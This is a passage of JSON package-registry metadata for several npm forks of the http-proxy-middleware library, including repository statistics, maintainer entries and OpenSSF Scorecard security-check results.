https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:134: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:136: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:140: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:164: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:166: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:170: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:186: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/publish.yml:14: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/publish.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/publish.yml:15: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/publish.yml/master?enable=pin","Info:   0 out of  21 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   2 third-party GitHubAction dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/publish.yml:6"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Branch-Protection","score":1,"reason":"branch protection is not maximal on development and all release branches","details":["Warn: branch protection not enabled for branch '2.x'","Info: 'allow deletion' disabled on branch 'master'","Info: 'force pushes' disabled on branch 'master'","Info: 'branch protection settings apply to administrators' is required to merge on branch 'master'","Warn: 'stale review dismissal' is disabled on branch 'master'","Warn: branch 'master' does not require approvers","Warn: codeowners review is not required on branch 'master'","Warn: 'last push approval' is disabled on branch 'master'","Info: status check found to merge onto on branch 'master'","Info: PRs are required in order to make changes on branch 'master'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"SAST","score":0,"reason":"SAST tool is not run on all commits -- score normalized to 0","details":["Warn: 0 commits out of 28 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}},{"name":"Vulnerabilities","score":5,"reason":"5 existing vulnerabilities detected","details":["Warn: Project is vulnerable to: GHSA-v6h2-p8h4-qcjw","Warn: Project is vulnerable to: GHSA-968p-4wvh-cqc8","Warn: Project is vulnerable to: GHSA-xffm-g5w8-qvg7","Warn: Project is vulnerable to: GHSA-fjxv-7rqg-78g4","Warn: Project is vulnerable to: GHSA-52f5-9888-hmc6"],"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}}]},"last_synced_at":"2025-08-17T14:57:40.637Z","repository_id":28698813,"created_at":"2025-08-17T14:57:40.637Z","updated_at":"2025-08-17T14:57:40.637Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":34914647,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-05-26T15:22:16.424Z","status":"online","status_checked_at":"2026-06-29T02:00:05.398Z","response_time":58,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"tags":[]},"repo_metadata_updated_at":"2026-07-07T06:22:17.058Z","dependent_packages_count":1,"downloads":28,"downloads_period":"last-month","dependent_repos_count":0,"rankings":{"downloads":18.434522760761233,"dependent_repos_count":25.32799796580169,"dependent_packages_count":16.223928578504864,"stargazers_count":1.2398004607859754,"forks_count":1.5692042885178354,"average":12.55909081087432},"purl":"pkg:npm/http-proxy-middleware-liran-fork","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/npm/http-proxy-middleware-liran-fork","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/npm/http-proxy-middleware-liran-fork","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/npm/http-proxy-middleware-liran-fork/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":{"last_synced_at":"2026-05-18T20:26:59.603Z","issues_count":141,"pull_requests_count":285,"avg_time_to_close_issue":13293581.985074626,"avg_time_to_close_pull_request":4164601.252,"issues_closed_count":67,"pull_requests_closed_count":250,"pull_request_authors_count":43,"issue_authors_count":134,"avg_comments_per_issue":4.6879432624113475,"avg_comments_per_pull_request":1.4456140350877194,"merged_pull_requests_count":204,"bot_issues_count":0,"bot_pull_requests_count":16,"past_year_issues_count":14,"past_year_pull_requests_count":43,"past_year_avg_time_to_close_issue":1199106.0,"past_year_avg_time_to_close_pull_request":238577.41666666666,"past_year_issues_closed_count":3,"past_year_pull_requests_closed_count":36,"past_year_pull_request_authors_count":8,"past_year_issue_authors_count":13,"past_year_avg_comments_per_issue":1.3571428571428572,"past_year_avg_comments_per_pull_request":2.0697674418604652,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":0,"past_year_merged_pull_requests_count":34,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/issues","maintainers":[{"login":"chimurai","count":206,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/chimurai"}],"active_maintainers":[{"login":"chimurai","count":38,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/chimurai"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/http-proxy-middleware-liran-fork/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/http-proxy-middleware-liran-fork/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/http-proxy-middleware-liran-fork/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/http-proxy-middleware-liran-fork/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/http-proxy-middleware-liran-fork/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/http-proxy-middleware-liran-fork/codemeta","maintainers":[{"uuid":"liranbri","login":"liranbri","name":null,"email":"liranbri@gmail.com","url":null,"packages_count":4,"html_url":"https://www.npmjs.com/~liranbri","role":null,"created_at":"2022-11-12T18:06:42.539Z","updated_at":"2022-11-12T18:06:42.539Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/liranbri/packages"}],"registry":{"name":"npmjs.org","url":"https://registry.npmjs.org","ecosystem":"npm","default":true,"packages_count":5666668,"maintainers_count":1207881,"namespaces_count":399623,"keywords_count":847874,"github":"npm","metadata":{"funded_packages_count":171745},"icon_url":"https://github.com/npm.png","created_at":"2022-04-04T15:19:23.081Z","updated_at":"2026-06-10T05:11:46.456Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/namespaces"}},{"id":1841861,"name":"http-proxy-middleware-pp","ecosystem":"npm","description":"The one-liner node.js proxy middleware for connect, express and browser-sync, with public proxy server","homepage":"https://github.com/chimurai/http-proxy-middleware#readme","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/chimurai/http-proxy-middleware","keywords_array":["reverse","proxy","middleware","http","https","connect","express","fastify","polka","browser-sync","gulp","grunt-contrib-connect","websocket","ws","cors"],"namespace":null,"versions_count":1,"first_release_published_at":"2021-09-16T08:47:09.199Z","latest_release_published_at":"2021-09-16T08:47:09.199Z","latest_release_number":"2.0.1","last_synced_at":"2026-07-10T15:02:35.490Z","created_at":"2022-04-09T17:18:05.678Z","updated_at":"2026-07-10T15:02:35.490Z","registry_url":"https://www.npmjs.com/package/http-proxy-middleware-pp","install_command":"npm install http-proxy-middleware-pp","documentation_url":null,"metadata":{"funding":null,"dist-tags":{"latest":"2.0.1"}},"repo_metadata":{"id":28698813,"uuid":"32219142","full_name":"chimurai/http-proxy-middleware","owner":"chimurai","description":":zap: The one-liner node.js http-proxy middleware for connect, express, next.js and more","archived":false,"fork":false,"pushed_at":"2026-06-27T18:48:14.000Z","size":4416,"stargazers_count":11132,"open_issues_count":22,"forks_count":881,"subscribers_count":113,"default_branch":"master","last_synced_at":"2026-06-29T01:19:25.768Z","etag":null,"topics":["browser-sync","connect","express","fastify","hono","http-proxy","httpxy","javascript","middleware","nextjs","node","nodejs","polka","proxy","proxy-middleware","websocket"],"latest_commit_sha":null,"homepage":"","language":"TypeScript","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/chimurai.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null}},"created_at":"2015-03-14T15:45:55.000Z","updated_at":"2026-06-27T18:48:18.000Z","dependencies_parsed_at":"2024-01-29T07:26:28.290Z","dependency_job_id":"c2a3f314-ac82-4c44-9219-3b82cbfa0f8e","html_url":"https://github.com/chimurai/http-proxy-middleware","commit_stats":{"total_commits":439,"total_committers":40,"mean_commits":10.975,"dds":0.4829157175398633,"last_synced_commit":"77f320e4dca8247167471393dcbce2b1e333b7cf"},"previous_names":[],"tags_count":87,"template":false,"template_full_name":null,"purl":"pkg:github/chimurai/http-proxy-middleware","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/chimurai","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/sbom","scorecard":{"id":277788,"data":{"date":"2025-08-11","repo":{"name":"github.com/chimurai/http-proxy-middleware","commit":"e7ae0098ebdbbdf77c0c23e84d2208cb7fc35cea"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":4,"checks":[{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: jobLevel 'contents' permission set to 'read': .github/workflows/publish.yml:11","Warn: no topLevel permission defined: .github/workflows/ci.yml:1","Warn: no topLevel permission defined: .github/workflows/publish.yml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Maintained","score":6,"reason":"8 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 6","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Code-Review","score":0,"reason":"Found 2/30 approved changesets -- score normalized to 0","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:194: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:195: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:11: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:13: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:17: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:38: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:40: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:44: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:71: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:75: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:100: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:102: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:106: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:134: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:136: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:140: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:164: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:166: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:170: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:186: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/publish.yml:14: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/publish.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/publish.yml:15: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/publish.yml/master?enable=pin","Info:   0 out of  21 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   2 third-party GitHubAction dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/publish.yml:6"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Branch-Protection","score":1,"reason":"branch protection is not maximal on development and all release branches","details":["Warn: branch protection not enabled for branch '2.x'","Info: 'allow deletion' disabled on branch 'master'","Info: 'force pushes' disabled on branch 'master'","Info: 'branch protection settings apply to administrators' is required to merge on branch 'master'","Warn: 'stale review dismissal' is disabled on branch 'master'","Warn: branch 'master' does not require approvers","Warn: codeowners review is not required on branch 'master'","Warn: 'last push approval' is disabled on branch 'master'","Info: status check found to merge onto on branch 'master'","Info: PRs are required in order to make changes on branch 'master'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"SAST","score":0,"reason":"SAST tool is not run on all commits -- score normalized to 0","details":["Warn: 0 commits out of 28 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}},{"name":"Vulnerabilities","score":5,"reason":"5 existing vulnerabilities detected","details":["Warn: Project is vulnerable to: GHSA-v6h2-p8h4-qcjw","Warn: Project is vulnerable to: GHSA-968p-4wvh-cqc8","Warn: Project is vulnerable to: GHSA-xffm-g5w8-qvg7","Warn: Project is vulnerable to: GHSA-fjxv-7rqg-78g4","Warn: Project is vulnerable to: GHSA-52f5-9888-hmc6"],"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}}]},"last_synced_at":"2025-08-17T14:57:40.637Z","repository_id":28698813,"created_at":"2025-08-17T14:57:40.637Z","updated_at":"2025-08-17T14:57:40.637Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":34914647,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-05-26T15:22:16.424Z","status":"online","status_checked_at":"2026-06-29T02:00:05.398Z","response_time":58,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"tags":[]},"repo_metadata_updated_at":"2026-07-07T06:22:17.138Z","dependent_packages_count":2,"downloads":41,"downloads_period":"last-month","dependent_repos_count":0,"rankings":{"downloads":45.76322889354142,"dependent_repos_count":25.32799796580169,"dependent_packages_count":9.4821380216761,"stargazers_count":1.2415050145157034,"forks_count":1.5694156526716314,"average":16.676857109641308},"purl":"pkg:npm/http-proxy-middleware-pp","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/npm/http-proxy-middleware-pp","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/npm/http-proxy-middleware-pp","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/npm/http-proxy-middleware-pp/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":{"last_synced_at":"2026-05-18T20:26:59.603Z","issues_count":141,"pull_requests_count":285,"avg_time_to_close_issue":13293581.985074626,"avg_time_to_close_pull_request":4164601.252,"issues_closed_count":67,"pull_requests_closed_count":250,"pull_request_authors_count":43,"issue_authors_count":134,"avg_comments_per_issue":4.6879432624113475,"avg_comments_per_pull_request":1.4456140350877194,"merged_pull_requests_count":204,"bot_issues_count":0,"bot_pull_requests_count":16,"past_year_issues_count":14,"past_year_pull_requests_count":43,"past_year_avg_time_to_close_issue":1199106.0,"past_year_avg_time_to_close_pull_request":238577.41666666666,"past_year_issues_closed_count":3,"past_year_pull_requests_closed_count":36,"past_year_pull_request_authors_count":8,"past_year_issue_authors_count":13,"past_year_avg_comments_per_issue":1.3571428571428572,"past_year_avg_comments_per_pull_request":2.0697674418604652,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":0,"past_year_merged_pull_requests_count":34,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/issues","maintainers":[{"login":"chimurai","count":206,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/chimurai"}],"active_maintainers":[{"login":"chimurai","count":38,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/chimurai"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/http-proxy-middleware-pp/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/http-proxy-middleware-pp/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/http-proxy-middleware-pp/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/http-proxy-middleware-pp/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/http-proxy-middleware-pp/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/http-proxy-middleware-pp/codemeta","maintainers":[{"uuid":"fxghqc","login":"fxghqc","name":null,"email":"konxiao@gmail.com","url":null,"packages_count":16,"html_url":"https://www.npmjs.com/~fxghqc","role":null,"created_at":"2022-11-12T18:06:41.298Z","updated_at":"2022-11-12T18:06:41.298Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/fxghqc/packages"}],"registry":{"name":"npmjs.org","url":"https://registry.npmjs.org","ecosystem":"npm","default":true,"packages_count":5666668,"maintainers_count":1207881,"namespaces_count":399623,"keywords_count":847874,"github":"npm","metadata":{"funded_packages_count":171745},"icon_url":"https://github.com/npm.png","created_at":"2022-04-04T15:19:23.081Z","updated_at":"2026-06-10T05:11:46.456Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/namespaces"}},{"id":12655730,"name":"@rg-dev/http-proxy-middleware","ecosystem":"npm","description":"The one-liner node.js proxy middleware for connect, express and browser-sync","homepage":"https://github.com/chimurai/http-proxy-middleware#readme","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/chimurai/http-proxy-middleware","keywords_array":["reverse","proxy","middleware","http","https","connect","express","fastify","polka","browser-sync","gulp","grunt-contrib-connect","websocket","ws","cors"],"namespace":"rg-dev","versions_count":2,"first_release_published_at":"2026-01-04T11:27:48.770Z","latest_release_published_at":"2026-01-10T21:19:53.063Z","latest_release_number":"1.0.1","last_synced_at":"2026-07-10T15:02:36.280Z","created_at":"2026-01-05T00:36:11.574Z","updated_at":"2026-07-10T15:02:36.280Z","registry_url":"https://www.npmjs.com/package/@rg-dev/http-proxy-middleware","install_command":"npm install @rg-dev/http-proxy-middleware","documentation_url":null,"metadata":{"funding":null,"dist-tags":{"latest":"1.0.1"}},"repo_metadata":{"id":28698813,"uuid":"32219142","full_name":"chimurai/http-proxy-middleware","owner":"chimurai","description":":zap: The one-liner node.js http-proxy middleware for connect, express, next.js and 